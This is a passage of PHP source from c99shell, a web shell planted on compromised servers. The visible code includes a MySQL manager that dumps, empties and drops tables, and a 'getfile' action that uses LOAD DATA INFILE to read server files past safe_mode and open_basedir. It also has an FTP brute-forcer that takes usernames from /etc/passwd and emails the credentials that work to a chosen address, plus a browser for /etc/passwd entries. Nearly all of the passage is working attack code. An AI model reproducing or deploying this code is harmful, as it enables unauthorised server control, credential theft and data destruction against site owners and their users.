  1093.      echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>";
  1094.      if ($dump_file) {$tmp = $dump_file;}
  1095.      else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
  1096.      echo "<b>File:</b>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>";
  1097.      echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>";
  1098.      echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>";
  1099.      echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty";
  1100.      echo "</form>";
  1101.     }
  1102.     else
  1103.     {
  1104.      $diplay = TRUE;
  1105.      $set = array();
  1106.      $set["sock"] = $sql_sock;
  1107.      $set["db"] = $sql_db;
  1108.      $dump_out = "download";
  1109.      $set["print"] = 0;
  1110.      $set["nl2br"] = 0;
  1111.      $set[""] = 0;
  1112.      $set["file"] = $dump_file;
  1113.      $set["add_drop"] = TRUE;
  1114.      $set["onlytabs"] = array();
  1115.      if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}
  1116.      $ret = mysql_dump($set);
  1117.      if ($sql_dump_download)
  1118.      {
  1119.       @ob_clean();
  1120.       header("Content-type: application/octet-stream");
  1121.       header("Content-length: ".strlen($ret));
  1122.       header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";");
  1123.       echo $ret;
  1124.       exit;
  1125.      }
  1126.      elseif ($sql_dump_savetofile)
  1127.      {
  1128.       $fp = fopen($sql_dump_file,"w");
  1129.       if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";}
  1130.       else
  1131.       {
  1132.        fwrite($fp,$ret);
  1133.        fclose($fp);
  1134.        echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>.";
  1135.       }
  1136.      }
  1137.      else {echo "<b>Dump: nothing to do!</b>";}
  1138.     }
  1139.    }
  1140.    if ($diplay)
  1141.    {
  1142.     if (!empty($sql_tbl))
  1143.     {
  1144.      if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";}
  1145.      $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
  1146.      $count_row = mysql_fetch_array($count);
  1147.      mysql_free_result($count);
  1148.      $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
  1149.      $tbl_struct_fields = array();
  1150.      while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
  1151.      if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
  1152.      if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
  1153.      if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
  1154.      if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
  1155.      $perpage = $sql_tbl_le - $sql_tbl_ls;
  1156.      if (!is_numeric($perpage)) {$perpage = 10;}
  1157.      $numpages = $count_row[0]/$perpage;
  1158.      $e = explode(" ",$sql_order);
  1159.      if (count($e) == 2)
  1160.      {
  1161.       if ($e[0] == "d") {$asc_desc = "DESC";}
  1162.       else {$asc_desc = "ASC";}
  1163.       $v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
  1164.      }
  1165.      else {$v = "";}
  1166.      $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
  1167.      $result = mysql_query($query) or print(mysql_smarterror());
  1168.      echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>";
  1169.      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[&nbsp;<b>Structure</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
  1170.      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[&nbsp;<b>Browse</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
  1171.      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[&nbsp;<b>Dump</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
  1172.      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
  1173.      if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";}
  1174.      if ($sql_tbl_act == "insert")
  1175.      {
  1176.       if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
  1177.       if (!empty($sql_tbl_insert_radio))
  1178.       {
  1179.  
  1180.       }
  1181.       else
  1182.       {
  1183.        echo "<br><br><b>Inserting row into table:</b><br>";
  1184.        if (!empty($sql_tbl_insert_q))
  1185.        {
  1186.         $sql_query = "SELECT * FROM `".$sql_tbl."`";
  1187.         $sql_query .= " WHERE".$sql_tbl_insert_q;
  1188.         $sql_query .= " LIMIT 1;";
  1189.         $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror());
  1190.         $values = mysql_fetch_assoc($result);
  1191.         mysql_free_result($result);
  1192.        }
  1193.        else {$values = array();}
  1194.        echo "<form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>";
  1195.        foreach ($tbl_struct_fields as $field)
  1196.        {
  1197.         $name = $field["Field"];
  1198.         if (empty($sql_tbl_insert_q)) {$v = "";}
  1199.         echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>";
  1200.         $i++;
  1201.        }
  1202.        echo "</table><br>";
  1203.        echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>";
  1204.        if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";}
  1205.        echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>";
  1206.       }
  1207.      }
  1208.      if ($sql_tbl_act == "browse")
  1209.      {
  1210.       $sql_tbl_ls = abs($sql_tbl_ls);
  1211.       $sql_tbl_le = abs($sql_tbl_le);
  1212.       echo "<hr size=\"1\" noshade>";
  1213.       echo "<img src=\"".$surl."act=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\">&nbsp;";
  1214.       $b = 0;
  1215.       for($i=0;$i<$numpages;$i++)
  1216.       {
  1217.        if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";}
  1218.        echo $i;
  1219.        if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";}
  1220.        if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";}
  1221.        else {echo "&nbsp;";}
  1222.       }
  1223.       if ($i == 0) {echo "empty";}
  1224.       echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&nbsp;<input type=\"submit\" value=\"View\"></form>";
  1225.       echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1>";
  1226.       echo "<tr>";
  1227.       echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>";
  1228.       for ($i=0;$i<mysql_num_fields($result);$i++)
  1229.       {
  1230.        $v = mysql_field_name($result,$i);
  1231.        if ($e[0] == "a") {$s = "d"; $m = "asc";}
  1232.        else {$s = "a"; $m = "desc";}
  1233.        echo "<td>";
  1234.        if (empty($e[0])) {$e[0] = "a";}
  1235.        if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";}
  1236.        else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";}
  1237.        echo "</td>";
  1238.       }
  1239.       echo "<td><font color=\"green\"><b>Action</b></font></td>";
  1240.       echo "</tr>";
  1241.       while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
  1242.       {
  1243.        echo "<tr>";
  1244.        $w = "";
  1245.        $i = 0;
  1246.        foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;}
  1247.        if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);}
  1248.        echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>";
  1249.        $i = 0;
  1250.        foreach ($row as $k=>$v)
  1251.        {
  1252.         $v = htmlspecialchars($v);
  1253.         if ($v == "") {$v = "<font color=\"green\">NULL</font>";}
  1254.         echo "<td>".$v."</td>";
  1255.         $i++;
  1256.        }
  1257.        echo "<td>";
  1258.        echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;";
  1259.        echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a>&nbsp;";
  1260.        echo "</td>";
  1261.        echo "</tr>";
  1262.       }
  1263.       mysql_free_result($result);
  1264.       echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
  1265.       echo "<option value=\"\">With selected:</option>";
  1266.       echo "<option value=\"deleterow\">Delete</option>";
  1267.       echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";
  1268.      }
  1269.     }
  1270.     else
  1271.     {
  1272.      $result = mysql_query("SHOW TABLE STATUS", $sql_sock);
  1273.      if (!$result) {echo mysql_smarterror();}
  1274.      else
  1275.      {
  1276.       echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>";
  1277.       $i = 0;
  1278.       $tsize = $trows = 0;
  1279.       while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
  1280.       {
  1281.        $tsize += $row["Data_length"];
  1282.        $trows += $row["Rows"];
  1283.        $size = view_size($row["Data_length"]);
  1284.        echo "<tr>";
  1285.        echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>";
  1286.        echo "<td>&nbsp;<a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a>&nbsp;</td>";
  1287.        echo "<td>".$row["Rows"]."</td>";
  1288.        echo "<td>".$row["Type"]."</td>";
  1289.        echo "<td>".$row["Create_time"]."</td>";
  1290.        echo "<td>".$row["Update_time"]."</td>";
  1291.        echo "<td>".$size."</td>";
  1292.        echo "<td>&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."act=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;</td>";
  1293.        echo "</tr>";
  1294.        $i++;
  1295.       }
  1296.       echo "<tr bgcolor=\"000000\">";
  1297.       echo "<td><center><b>»</b></center></td>";
  1298.       echo "<td><center><b>".$i." table(s)</b></center></td>";
  1299.       echo "<td><b>".$trows."</b></td>";
  1300.       echo "<td>".$row[1]."</td>";
  1301.       echo "<td>".$row[10]."</td>";
  1302.       echo "<td>".$row[11]."</td>";
  1303.       echo "<td><b>".view_size($tsize)."</b></td>";
  1304.       echo "<td></td>";
  1305.       echo "</tr>";
  1306.       echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
  1307.       echo "<option value=\"\">With selected:</option>";
  1308.       echo "<option value=\"tbldrop\">Drop</option>";
  1309.       echo "<option value=\"tblempty\">Empty</option>";
  1310.       echo "<option value=\"tbldump\">Dump</option>";
  1311.       echo "<option value=\"tblcheck\">Check table</option>";
  1312.       echo "<option value=\"tbloptimize\">Optimize table</option>";
  1313.       echo "<option value=\"tblrepair\">Repair table</option>";
  1314.       echo "<option value=\"tblanalyze\">Analyze table</option>";
  1315.       echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";
  1316.       mysql_free_result($result);
  1317.      }
  1318.     }
  1319.    }
  1320.    }
  1321.   }
  1322.   else
  1323.   {
  1324.    $acts = array("","newdb","serverstatus","servervars","processes","getfile");
  1325.    if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">&nbsp;<input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php }
  1326.    if (!empty($sql_act))
  1327.    {
  1328.     echo "<hr size=\"1\" noshade>";
  1329.     if ($sql_act == "newdb")
  1330.     {
  1331.      echo "<b>";
  1332.      if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";}
  1333.      else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
  1334.     }
  1335.     if ($sql_act == "serverstatus")
  1336.     {
  1337.      $result = mysql_query("SHOW STATUS", $sql_sock);
  1338.      echo "<center><b>Server-status variables:</b><br><br>";
  1339.      echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
  1340.      while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
  1341.      echo "</table></center>";
  1342.      mysql_free_result($result);
  1343.     }
  1344.     if ($sql_act == "servervars")
  1345.     {
  1346.      $result = mysql_query("SHOW VARIABLES", $sql_sock);
  1347.      echo "<center><b>Server variables:</b><br><br>";
  1348.      echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
  1349.      while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
  1350.      echo "</table>";
  1351.      mysql_free_result($result);
  1352.     }
  1353.     if ($sql_act == "processes")
  1354.     {
  1355.      if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "<b>Killing process #".$kill."... ok. he is dead, amen.</b>";}
  1356.      $result = mysql_query("SHOW PROCESSLIST", $sql_sock);
  1357.      echo "<center><b>Processes:</b><br><br>";
  1358.      echo "<TABLE cellSpacing=0 cellPadding=2 bgColor=#333333 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>";
  1359.      while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";}
  1360.      echo "</table>";
  1361.      mysql_free_result($result);
  1362.     }
  1363.     if ($sql_act == "getfile")
  1364.     {
  1365.      $tmpdb = $sql_login."_tmpdb";
  1366.      $select = mysql_select_db($tmpdb);
  1367.      if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
  1368.      if ($select)
  1369.      {
  1370.       $created = FALSE;
  1371.       mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
  1372.       mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");
  1373.       $result = mysql_query("SELECT * FROM tmp_file;");
  1374.       if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";}
  1375.       else
  1376.       {
  1377.        for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);}
  1378.        $f = "";
  1379.        while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);}
  1380.        if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";}
  1381.        else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";}
  1382.        mysql_free_result($result);
  1383.        mysql_query("DROP TABLE tmp_file;");
  1384.       }
  1385.      }
  1386.      mysql_drop_db($tmpdb); //comment it if you want to leave database
  1387.     }
  1388.    }
  1389.   }
  1390.  }
  1391.  echo "</td></tr></table>";
  1392.  if ($sql_sock)
  1393.  {
  1394.   $affected = @mysql_affected_rows($sql_sock);
  1395.   if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;}
  1396.   echo "<tr><td><center><b>Affected rows: ".$affected."</center></td></tr>";
  1397.  }
  1398.  echo "</table>";
  1399. }
  1400. if ($act == "mkdir")
  1401. {
  1402.  if ($mkdir != $d)
  1403.  {
  1404.   if (file_exists($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: object alredy exists";}
  1405.   elseif (!mkdir($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: access denied";}
  1406.   echo "<br><br>";
  1407.  }
  1408.  $act = $dspact = "ls";
  1409. }
  1410. if ($act == "ftpquickbrute")
  1411. {
  1412.  echo "<b>Ftp Quick brute:</b><br>";
  1413.  if (!win) {echo "This functions not work in Windows!<br><br>";}
  1414.  else
  1415.  {
  1416.   function c99ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh)
  1417.   {
  1418.    if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));}
  1419.    else {$TRUE = TRUE;}
  1420.    if ($TRUE)
  1421.    {
  1422.     $sock = @ftp_connect($host,$port,$timeout);
  1423.     if (@ftp_login($sock,$login,$pass))
  1424.     {
  1425.      echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>";
  1426.      ob_flush();
  1427.      return TRUE;
  1428.     }
  1429.    }
  1430.   }
  1431.   if (!empty($submit))
  1432.   {
  1433.    if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;}
  1434.    $fp = fopen("/etc/passwd","r");
  1435.    if (!$fp) {echo "Can't get /etc/passwd for password-list.";}
  1436.    else
  1437.    {
  1438.     if ($fqb_logging)
  1439.     {
  1440.      if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");}
  1441.      else {$fqb_logfp = FALSE;}
  1442.      $fqb_log = "FTP Quick Brute (called c99shell v. ".$shver.") started at ".date("d.m.Y H:i:s")."\r\n\r\n";
  1443.      if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
  1444.     }
  1445.     ob_flush();
  1446.     $i = $success = 0;
  1447.     $ftpquick_st = getmicrotime();
  1448.     while(!feof($fp))
  1449.     {
  1450.      $str = explode(":",fgets($fp,2048));
  1451.      if (c99ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh))
  1452.      {
  1453.       echo "<b>Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>";
  1454.       $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n";
  1455.       if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
  1456.       $success++;
  1457.       ob_flush();
  1458.      }
  1459.      if ($i > $fqb_lenght) {break;}
  1460.      $i++;
  1461.     }
  1462.     if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";}
  1463.     $ftpquick_t = round(getmicrotime()-$ftpquick_st,4);
  1464.     echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=green><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>";
  1465.     $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n";
  1466.     if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
  1467.     if ($fqb_logemail) {@mail($fqb_logemail,"c99shell v. ".$shver." report",$fqb_log);}
  1468.     fclose($fqb_logfp);
  1469.    }
  1470.   }
  1471.   else
  1472.   {
  1473.    $logfile = $tmpdir_logs."c99sh_ftpquickbrute_".date("d.m.Y_H_i_s").".log";
  1474.    $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile);
  1475.    echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"ftpquickbrute\"><br>Read first: <input type=text name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"><br><br>Users only with shell?&nbsp;<input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"><br><br>Logging?&nbsp;<input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked><br>Logging to file?&nbsp;<input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"><br>Logging to e-mail?&nbsp;<input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"><br><br><input type=submit name=submit value=\"Brute\"></form>";
  1476.   }
  1477.  }
  1478. }
  1479. if ($act == "d")
  1480. {
  1481.  if (!is_dir($d)) {echo "<center><b>Permision denied!</b></center>";}
  1482.  else
  1483.  {
  1484.   echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>";
  1485.   if (!$win)
  1486.   {
  1487.    echo "<tr><td><b>Owner/Group</b></td><td> ";
  1488.    $ow = posix_getpwuid(fileowner($d));
  1489.    $gr = posix_getgrgid(filegroup($d));
  1490.    $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d));
  1491.   }
  1492.   echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table><br>";
  1493.  }
  1494. }
  1495. if ($act == "phpinfo") {@ob_clean(); phpinfo(); c99shexit();}
  1496. if ($act == "security")
  1497. {
  1498.  echo "<center><b>Server security information:</b></center><b>Open base dir: ".$hopenbasedir."</b><br>";
  1499.  if (!$win)
  1500.  {
  1501.   if ($nixpasswd)
  1502.   {
  1503.    if ($nixpasswd == 1) {$nixpasswd = 0;}
  1504.    echo "<b>*nix /etc/passwd:</b><br>";
  1505.    if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;}
  1506.    if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;}
  1507.    echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b>&nbsp;<input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\">&nbsp;<input type=submit value=\"View\"></form><br>";
  1508.    $i = $nixpwd_s;
  1509.    while ($i < $nixpwd_e)
  1510.    {
  1511.     $uid = posix_getpwuid($i);
  1512.     if ($uid)
  1513.     {
  1514.      $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>";
